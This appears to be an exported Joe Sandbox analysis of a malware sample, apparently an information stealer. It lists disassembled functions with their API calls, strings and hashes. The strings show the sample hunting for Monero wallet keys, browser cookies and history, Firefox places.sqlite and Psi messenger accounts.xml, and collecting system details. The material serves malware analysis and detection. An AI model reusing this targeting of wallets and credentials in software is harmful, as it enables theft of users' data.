Opcode ID: 9a370d218ba479bacba9924df52720c8bc51f1f8e8ad6289ec54fa435578b534
Instruction ID: b4fa090e97bfe7a1d5ce5cc441e323bfe92997b970e5e29befa82c83258fdf6c
Opcode Fuzzy Hash: 9a370d218ba479bacba9924df52720c8bc51f1f8e8ad6289ec54fa435578b534
Instruction Fuzzy Hash: B4918574A001099BCB10EF69C985ADEB7B9FF84304F1181BAE509B7291D739DF858F58

Function 00415610 Relevance: 18.0, APIs: 3, Strings: 7, Instructions: 457
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNEL32(?,?), ref: 00415871
FindClose.KERNEL32(?), ref: 00415886

Part of subcall function 00403BBC: SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00403BD2

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindFirstFileW.KERNEL32(00000000,?,0041A69E), ref: 00415750

Part of subcall function 0040DDB0: CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C), ref: 0040DE38
Part of subcall function 0040DDB0: DeleteFileW.KERNEL32(00000000,00000000,0040DEAF,?,00000000,00000000,00000000,00000000,00000000,00000000,?,004148F8,00000001,00414C4C,00000001,?), ref: 0040DE7A

Strings

.keys, xrefs: 004159B6, 004159E9
Software\, xrefs: 00415AEB
\autoscan\, xrefs: 004157BD
\Monero\, xrefs: 004158EA, 00415935, 0041599D
.address.txt, xrefs: 0041594E, 00415981
%APPDATA%\, xrefs: 00415644
strDataDir, xrefs: 00415AFB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyDeleteFirstNextQueryStringValue
String ID: %APPDATA%\$.address.txt$.keys$Software\$\Monero\$\autoscan\$strDataDir
API String ID: 2772453214-362373116
Opcode ID: c00ab6cc53970bd357ef98c3576e422ed7f1e900cd4cb8bacc66f2aff32bae2e
Instruction ID: 4a2bc140344c74034c961c230d6d7cd75b0d6f61e5a75df0b3530fd0fd3fd8f7
Opcode Fuzzy Hash: c00ab6cc53970bd357ef98c3576e422ed7f1e900cd4cb8bacc66f2aff32bae2e
Instruction Fuzzy Hash: A4120D34A001199BDB11EB55CC85BDDB779EF84308F5081FAE508B7292DB38AF858F99

Function 00414408 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 496fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,0041A69E), ref: 004145C5

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Strings

._., xrefs: 0041485D
LLA, xrefs: 00414C04
0_@, xrefs: 00414BBB, 00414BD1
.LNK, xrefs: 00414788
CA, xrefs: 004144DA, 00414580, 00414A89, 00414BEC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeString$FileFindFirst
String ID: .LNK$._.$0_@$LLA$CA
API String ID: 1653790112-882170572
Opcode ID: 87facb9a93c736ddc32f1d0b9dd268f2c5010dbbfd77a53bcc1ac351d065c3c5
Instruction ID: 9c4ae2fa8e47753b2fad7318643bbdaa039e98a1c6b9804601cb0bccf78cece1
Opcode Fuzzy Hash: 87facb9a93c736ddc32f1d0b9dd268f2c5010dbbfd77a53bcc1ac351d065c3c5
Instruction Fuzzy Hash: 6A224374A0011E9BCB10EF55C985ADEB7B9EF84308F1081B7E504B7296DB38AF858F59

Function 00416748 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
CPU Count: , xrefs: 004167EF
Video Info, xrefs: 00416856
GetRAM: , xrefs: 00416833
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: bc92bcc3e197d973a3a694272e71556a0c5c4ca862a3d57ec3daae12d6facc84
Instruction ID: 0500c902736339f4efa0b07d3f9bc907855da1606bbc95f65d7857d0c3659172
Opcode Fuzzy Hash: bc92bcc3e197d973a3a694272e71556a0c5c4ca862a3d57ec3daae12d6facc84
Instruction Fuzzy Hash: 27410F70A1010DABDB01FFD1D882EDDBBB9EF48709F61403BF504B7296D639EA458A58

Function 004087DC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6CD50000,00000000,00408961,?,0041B0FC,0000044D,?,00419DB6), ref: 00408827
FindFirstFileW.KERNEL32(00000000,?,6CD50000,00000000,00408961,?,0041B0FC,0000044D,?,00419DB6), ref: 00408856
DeleteFileW.KERNEL32(00000000,?,00408994,?,0041B0FC,0000044D,?,00419DB6), ref: 004088EB
FindNextFileW.KERNELBASE(00000000,?,?,0041B0FC,0000044D,?,00419DB6), ref: 004088F6
SetCurrentDirectoryW.KERNEL32(00000000,?,0041B0FC,0000044D,?,00419DB6), ref: 0040892D
RemoveDirectoryW.KERNEL32(00000000,?,0041B0FC,0000044D,?,00419DB6), ref: 00408941

Strings

%TEMP%\, xrefs: 00408910

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$DirectoryFind$CurrentDeleteFirstFreeLibraryNextRemove
String ID: %TEMP%\
API String ID: 24694787-2282305525
Opcode ID: bf673f0aa18eb5449fb802a6f650f5c3dc5f1121d0befde26993cc387fee6983
Instruction ID: 7ce94d71dddb1cf777d35a768eca412b7855db8bc738da5367f8e470d0430529
Opcode Fuzzy Hash: bf673f0aa18eb5449fb802a6f650f5c3dc5f1121d0befde26993cc387fee6983
Instruction Fuzzy Hash: 04410F706006199FC750EF69CC85A9AB7F9EF89305F4045BAE448F32A1DB38AE448F59

Function 0040EDF0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 199fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F13A,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000), ref: 0040EE73
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040F164,0041A69E,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94), ref: 0040F08C
FindClose.KERNEL32(?,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000,004108BA,?,00000000), ref: 0040F0A1

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

\Cookies, xrefs: 0040EE9C, 0040EF00, 0040EFCA
\*.*, xrefs: 0040EE53
.txt, xrefs: 0040EF6A, 0040F034

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 2008072091-501373649
Opcode ID: 1a9fc2d492ffad028171e5586167dcb31092ae0b6b418c0d86e6f8e983e5ed8c
Instruction ID: 9bba34184a6fc648fba6ba3cbdc3fca614e6f358b3507839ef970e77815db8c9
Opcode Fuzzy Hash: 1a9fc2d492ffad028171e5586167dcb31092ae0b6b418c0d86e6f8e983e5ed8c
Instruction Fuzzy Hash: 2C813C74900219AFDB21EB61CC85B8DB779EF45304F6041F7A508B7692DB38AF898F58

Function 0040EDF8 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F13A,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000), ref: 0040EE73
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040F164,0041A69E,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94), ref: 0040F08C
FindClose.KERNEL32(?,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000,004108BA,?,00000000), ref: 0040F0A1

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

\Cookies, xrefs: 0040EE9C, 0040EF00, 0040EFCA
\*.*, xrefs: 0040EE53
.txt, xrefs: 0040EF6A, 0040F034

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 2008072091-501373649
Opcode ID: 2818f20bf1d1b77889cfa5f7fe2e04d4236fe6bebbf9a5af8a2c85d3e249649b
Instruction ID: bb166e6970d3c69aba059f64675bba9ba2bdb6560608c072e0a4394eeaa74f1c
Opcode Fuzzy Hash: 2818f20bf1d1b77889cfa5f7fe2e04d4236fe6bebbf9a5af8a2c85d3e249649b
Instruction Fuzzy Hash: 91812C74900219AFDB21EB61CC85B8DB779EF45304F6041F7A508B7691DB38AF898F58

Function 0040EE00 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 193fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F13A,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000), ref: 0040EE73
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040F164,0041A69E,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94), ref: 0040F08C
FindClose.KERNEL32(?,?,00000000,0041B0FC,00000000,00000053,00000000,00000000,?,?,0040FB94,00000000,00000000,004108BA,?,00000000), ref: 0040F0A1

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

\Cookies, xrefs: 0040EE9C, 0040EF00, 0040EFCA
\*.*, xrefs: 0040EE53
.txt, xrefs: 0040EF6A, 0040F034

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 2008072091-501373649
Opcode ID: 3967961121631e11c21c17fe47ce0df9dddb2a1332fcfbcf5c690aad75b36071
Instruction ID: d8a2ff446425c9a57f2702a7ae5579559d8f3d1025272b1778baa27e1c06c071
Opcode Fuzzy Hash: 3967961121631e11c21c17fe47ce0df9dddb2a1332fcfbcf5c690aad75b36071
Instruction Fuzzy Hash: 2D812C74900119AFDB20EB51CC85B8DB7B9EF49304F6081F6A508B7691DB38AF898F58

Function 00412D70 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,0041335C,00000000,00000000), ref: 00412E08

Strings

\History, xrefs: 00412EAE
\*.*, xrefs: 00412DEF
.txt, xrefs: 00412F18

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\History
API String ID: 1974802433-2232271174
Opcode ID: 4d97d56f1a2c2ba8de585b7313e2f01b5426328dd466b505bcbdb0ea55240272
Instruction ID: 31102d54a49b3a600332046a535115537665bbef1f46384b784085fa532e6d73
Opcode Fuzzy Hash: 4d97d56f1a2c2ba8de585b7313e2f01b5426328dd466b505bcbdb0ea55240272
Instruction Fuzzy Hash: 61516C70909259AFCB12EB61CC45BDDBB78EF45304F2041EBA508F7192DA789F898B19

Function 0040F6A4 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 154fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F8EA,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000,004108BA), ref: 0040F725
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A69E,?,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000), ref: 0040F7BE

Strings

kie, xrefs: 0040F796
\*.txt, xrefs: 0040F705
\*.coo, xrefs: 0040F791
.txt, xrefs: 0040F83C

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: b56f9f321f177a36bdaee57979e4148027d45b5c1dc733db247e530c8b725646
Instruction ID: 6489d20448be0347bbe841ae04dfac1a291c20226f6d85956d30eaac5317e553
Opcode Fuzzy Hash: b56f9f321f177a36bdaee57979e4148027d45b5c1dc733db247e530c8b725646
Instruction Fuzzy Hash: C0512174900119AFDB11EB65CC85ACDB7B8EF44304F5081B6E508B36A1DB39AF498F58

Function 0040F6A8 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 152fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F8EA,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000,004108BA), ref: 0040F725
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A69E,?,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000), ref: 0040F7BE

Strings

kie, xrefs: 0040F796
\*.txt, xrefs: 0040F705
\*.coo, xrefs: 0040F791
.txt, xrefs: 0040F83C

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: 6f778b942e7baa927090c6ff3fce4b1f685430fc368df5d0c2ee8262ae037fe5
Instruction ID: 83e3831f1bd2a49e46c6c71efc4d3390d7d545031e35db4700f5025d0794df9c
Opcode Fuzzy Hash: 6f778b942e7baa927090c6ff3fce4b1f685430fc368df5d0c2ee8262ae037fe5
Instruction Fuzzy Hash: DD510174900119AFDB50EB65CC85ACDB7B9FF44304F5081B6A508B36A1DB39AF498F58

Function 0040F6AC Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 152fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F8EA,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000,004108BA), ref: 0040F725
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A69E,?,?,00000000,0041B0FC,00000000,0000004F,00000000,00000000,?,?,0040F9B0,00000000), ref: 0040F7BE

Strings

kie, xrefs: 0040F796
\*.txt, xrefs: 0040F705
\*.coo, xrefs: 0040F791
.txt, xrefs: 0040F83C

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: c324dedefc565a0574392b42e576e3eeb509f8d079c79a7773ce191564893479
Instruction ID: 83ee4f524135603a56cbfc9d5ee2e8bece107621c4921242cedf14d49bb93a09
Opcode Fuzzy Hash: c324dedefc565a0574392b42e576e3eeb509f8d079c79a7773ce191564893479
Instruction Fuzzy Hash: B2511174900119AFDB60EB65CC85ACDB7B9FF44308F5081B6A508B36A1DB39AF498F58

Function 00412D9C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,0041335C,00000000,00000000), ref: 00412E08

Strings

\History, xrefs: 00412EAE
\*.*, xrefs: 00412DEF
.txt, xrefs: 00412F18

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\History
API String ID: 1974802433-2232271174
Opcode ID: 3cf7f6abbeaa6c6e92a110a960f079b129bfb744286811e3ffdcca4124b13dab
Instruction ID: 28420ec06a4cf3b7f255eec712baa8d4c4073a44f08a77f37e2c3042b4162f15
Opcode Fuzzy Hash: 3cf7f6abbeaa6c6e92a110a960f079b129bfb744286811e3ffdcca4124b13dab
Instruction Fuzzy Hash: 7C515D74904219ABDF10EF51CD45BCDBBB9EF48304F6041FAA508B2291DA789F958F18

Function 0041303C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 139fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00413276,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,00413E3A,00000000,00000000), ref: 004130A8

Strings

\*.*, xrefs: 0041308F
.txt, xrefs: 004131AE
\places.sqlite, xrefs: 00413144

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\places.sqlite
API String ID: 1974802433-3919338718
Opcode ID: d95f641b8e624f06c2748d86dc8e228937cbaf58b7383e7ab681403c38b3d2c6
Instruction ID: 8aac54383f65123cc0eb0a4bac2364391818e056087fcce0e0ee32974804bc60
Opcode Fuzzy Hash: d95f641b8e624f06c2748d86dc8e228937cbaf58b7383e7ab681403c38b3d2c6
Instruction Fuzzy Hash: CB513A74904119ABDF10EF61CC45BCDBBB9EF44305F6081FAA508B3291DA39AF858F18

Function 0040B15C Relevance: 9.2, APIs: 6, Instructions: 198libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000,00000000,0040B3C3,?,00000000,0041B0FC,00000000,0000000B,00000000,00000000,?,0040B405,00000000,0040B40F), ref: 0040B1A9
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B1AF
LoadLibraryA.KERNEL32(00000000,?,00000000,0041B0FC,00000000,0000000B,00000000,00000000,?,0040B405,00000000,0040B40F,?,00000000,0041B0FC,00000000), ref: 0040B204
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B22A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B248
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040B266

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 588210b06e7466f33f668d0a8c5683e72e1db78c57bf2da9f1a5b49b6d1e0292
Instruction ID: 364380f0d352aef1bf1129e1f4ec87a81fdd7fa01391a9152c5138518fa9ee90
Opcode Fuzzy Hash: 588210b06e7466f33f668d0a8c5683e72e1db78c57bf2da9f1a5b49b6d1e0292
Instruction Fuzzy Hash: 5761E375A002099BDB01EBE5C985E9EB7BDFF44304F50453AB900FB385DA78EE0587A8

Function 004111C4 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 201fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,004118A0,00000000,00000000,00412524), ref: 0041122F

Part of subcall function 00410E70: GetTickCount.KERNEL32 ref: 00410EB4
Part of subcall function 00410E70: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

FindNextFileW.KERNEL32(?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000,00000000), ref: 00411495
FindClose.KERNEL32(?,?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000), ref: 004114A6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

\*.*, xrefs: 00411216
.txt, xrefs: 00411355, 00411444

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFind$CloseCopyCountFirstFreeNextStringTick
String ID: .txt$\*.*
API String ID: 4269597168-2615687548
Opcode ID: 702e259deb28b2da699a7f92267bf1f9b8c2a0c5d52b86dea0dd82713c5863d9
Instruction ID: 6859e3562032d776fa84e591ecfbf3afacee5e694faebf3c1d1cda20f45b7b98
Opcode Fuzzy Hash: 702e259deb28b2da699a7f92267bf1f9b8c2a0c5d52b86dea0dd82713c5863d9
Instruction Fuzzy Hash: 6C810C7490021DABDF10EB51CC85BCDB77AEF84304F6041E6A608B62A2DB799F858F58

Function 0040D0A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 176fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040D1C8

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

Part of subcall function 00407168: GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407293,?,?), ref: 004071B4
Part of subcall function 00407168: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 004071CA
Part of subcall function 00407168: GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 004071DF
Part of subcall function 00407168: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004071F5
Part of subcall function 00407168: ReadFile.KERNEL32(000000FF,004147A5,?,LLA,00000000,00000000,00407263,?,?,?), ref: 00407246
Part of subcall function 00407168: CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Strings

Psi, xrefs: 0040D16F
PsiPlus, xrefs: 0040D15F
\accounts.xml, xrefs: 0040D1F7, 0040D259
\*.*, xrefs: 0040D1AB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

